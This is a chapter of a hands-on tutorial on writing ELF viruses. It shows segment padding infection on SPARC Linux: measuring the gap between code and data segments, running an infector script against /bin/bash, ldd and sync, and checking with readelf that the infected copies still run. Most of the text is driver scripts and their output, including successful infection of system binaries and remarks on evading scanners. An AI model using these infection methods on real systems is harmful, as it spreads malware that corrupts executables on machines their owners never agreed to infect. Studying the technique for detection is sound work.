Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force. | |
Darth Vader |
Another interesting thing in the output of Segments of /bin/bash is the distance between the two LOAD segments:
VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x95768 - 0x10000 - 0x75763 = 0x10005 = 65541 bytes
Offset[2] - Offset[1] - FileSiz[1] = 0x75768 - 0x0 - 0x75763 = 0x5 = 5 bytes
Only 5 bytes (0x5) would be needed to align the first LOAD segment up to the alignment of 0x10000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of _SC_PAGESIZE. We can fill the gap only in chunks of that size.
Output: out/sparc-debian2.2-linux/segment_padding/sysconf
_SC_CLK_TCK=100
_SC_VERSION=199506
_SC_PAGESIZE=4096
_SC_PHYS_PAGES=7556
_SC_AVPHYS_PAGES=428 |
We found a peculiarity. We verified its existence at Scan segments. We have a basic framework at One step closer to the edge (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. Time to let them all play together; using the script at cc.sh (i).
Output: out/sparc-debian2.2-linux/segment_padding/e1i1/cc
src/one_step_closer/open_src.inc:17: warning: value computed is not used
src/one_step_closer/get_seg.inc:6: warning: `phdr_data' might be used
uninitialized in this function |
Now we know that the output of the compiler is alright and the infector was built. So off we go. The list of target executables was gathered in Food for segment padding.
Command: pre/sparc-debian2.2-linux/one_step_closer/infect.sh
#!/bin/bash
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
scanner=${4:-segment_padding}
( cd tmp/sparc-debian2.2-linux/${project}/${entry_addr}${infection} \
&& ./infector ) \
< out/sparc-debian2.2-linux/scanner/${scanner}/infect |
Output: out/sparc-debian2.2-linux/segment_padding/e1i1/infect
/bin/bash ... wrote 76 bytes, Ok
/usr/bin/ldd ... wrote 76 bytes, Ok
/bin/sync ... wrote 76 bytes, Ok
files=3; ok=3; failed=0 |
A simple shell script will do as test.
Output = Command: out/sparc-debian2.2-linux/segment_padding/test-e1i1.sh
#!tmp/sparc-debian2.2-linux/segment_padding/e1i1/bash_infected
echo "pid=[$$]"
cd tmp/sparc-debian2.2-linux/segment_padding/e1i1
echo "TERM=[$TERM]"
./ldd_infected -h | sed 1q
./sync_infected
echo "---"
/bin/cat bash_infected > strip_bash_infected \
&& /usr/bin/strip strip_bash_infected \
&& /bin/chmod 755 strip_bash_infected \
&& ./strip_bash_infected -version |
Output: out/sparc-debian2.2-linux/segment_padding/test-e1i1
ELFpid=[13180]
TERM=[xterm]
./ldd_infected: invalid option -- h
ELFusage: ./ldd_infected [-vVdr] prog ...
ELF---
ELFGNU bash, version 2.03.0(1)-release (sparc-unknown-linux-gnu)
Copyright 1998 Free Software Foundation, Inc. |
The Force is strong with this one. [1]
After emotions cooled down a bit we can examine the infected executable and compare it with the original.
Command: pre/sparc-debian2.2-linux/segment_padding/readelf.sh
#!/bin/bash
shell=$( /bin/sed 1q \
out/sparc-debian2.2-linux/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit 1
cd tmp/sparc-debian2.2-linux/segment_padding/e1i1 || exit 2
infected=${shell##*/}_infected
/bin/ls -l ${infected}
/bin/ls -l strip_${infected}
/bin/ls -l ${shell}
/usr/bin/readelf -l ${infected} |
Output: out/sparc-debian2.2-linux/segment_padding/readelf
-rwxr-xr-x 1 alba alba 517028 Feb 15 23:57 bash_infected
-rwxr-xr-x 1 alba alba 517028 Feb 15 23:57 strip_bash_infected
-rwxr-xr-x 1 root root 512932 Jul 17 2002 /bin/bash
Elf file type is EXEC (Executable file)
Entry point 0x85770
There are 6 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x00010034 0x00010034 0x000c0 0x000c0 R E 0x4
INTERP 0x0000f4 0x000100f4 0x000100f4 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x00010000 0x00010000 0x76763 0x76763 R E 0x10000
LOAD 0x076768 0x00095768 0x00095768 0x057cc 0x09070 RWE 0x10000
DYNAMIC 0x07be84 0x0009ae84 0x0009ae84 0x000b0 0x000b0 RW 0x4
NOTE 0x000108 0x00010108 0x00010108 0x00020 0x00020 R 0x4
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.bss .rela.plt .init .text .fini .rodata
03 .data .eh_frame .ctors .dtors .plt .got .dynamic .bss
04 .dynamic
05 .note.ABI-tag |
File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:
infected.file_size - original.file_size = 517028 - 512932 4096 = 0x1000
infected.LOAD[1].FileSiz - sh.LOAD[1].FileSiz = 0x76763 - 0x75763 = 0x1000
infected.LOAD[2].Offset - sh.LOAD[2].Offset = 0x76768 - 0x75768 = 0x1000
infected.DYNAMIC.Offset - sh.DYNAMIC.Offset = 0x7be84 - 0x7ae84 = 0x1000
And the new distance between the LOAD segments:
VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x95768 - 0x10000 - 0x76763 = 0xf005 = 61445 bytes
Offset[2] - Offset[1] - FileSiz[1] = 0x76768 - 0x0 - 0x76763 = 0x5 = 5 bytes
The small output of Scan segments includes the executable from last chapter. But for clarity we repeat the exercise.
Command: pre/sparc-debian2.2-linux/segment_padding/scan_segment.sh
#!/bin/bash
TEVWH_TMP=tmp/sparc-debian2.2-linux
export TEVWH_TMP
shell=$( /bin/sed 1q \
out/sparc-debian2.2-linux/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit 1
/bin/echo "${shell}
tmp/sparc-debian2.2-linux/one_step_closer/e1i1/${shell##*/}_infected" \
| tmp/sparc-debian2.2-linux/scanner/segment_padding |
Output: out/sparc-debian2.2-linux/segment_padding/scan
/bin/bash ... delta=0x10005, Ok
(2) No such file or directory
CHECK: one_step_closer/e1i1/bash_infected
CHECK: src/one_step_closer/open_src.inc#9
CHECK: (0) <= (t->fd_src = open(t->src_file, 0x0000))
CHECK: 0 <= -1; 0 <= 0xffffffff
files=2; ok=1; det_page=1; det_align=0; min=0x10005; max=0x10005 |
This is like playing chess against oneself, and losing. Can't do much about it, though.
The value of Entry point changed dramatically. In the original it is in the first part of the file:
entry_point_m/additional.cs.xml = 0x1f598 - 0x10000 = 0xf598 = 62872 bytes.
The infected copy moved that to less than 1000 bytes from the end of the code segment.
entry_point_ofs = 0x85770 - 0x10000 = 0x75770 = 481136 bytes.
end_of_LOAD1 = 0x10000 + 0x76763 = 0x86763
entry_point_distance_to_end = 0x86763 - 0x85770 = 0xff3 = 4083
This alone is an easy vulnerability to scanners. But then since Scan entry point we know for sure that with regular executables the entry point equals the start of section .text.
[1] | Admittedly, it is not strip-safe on SunOS. But I call that room for improvement. |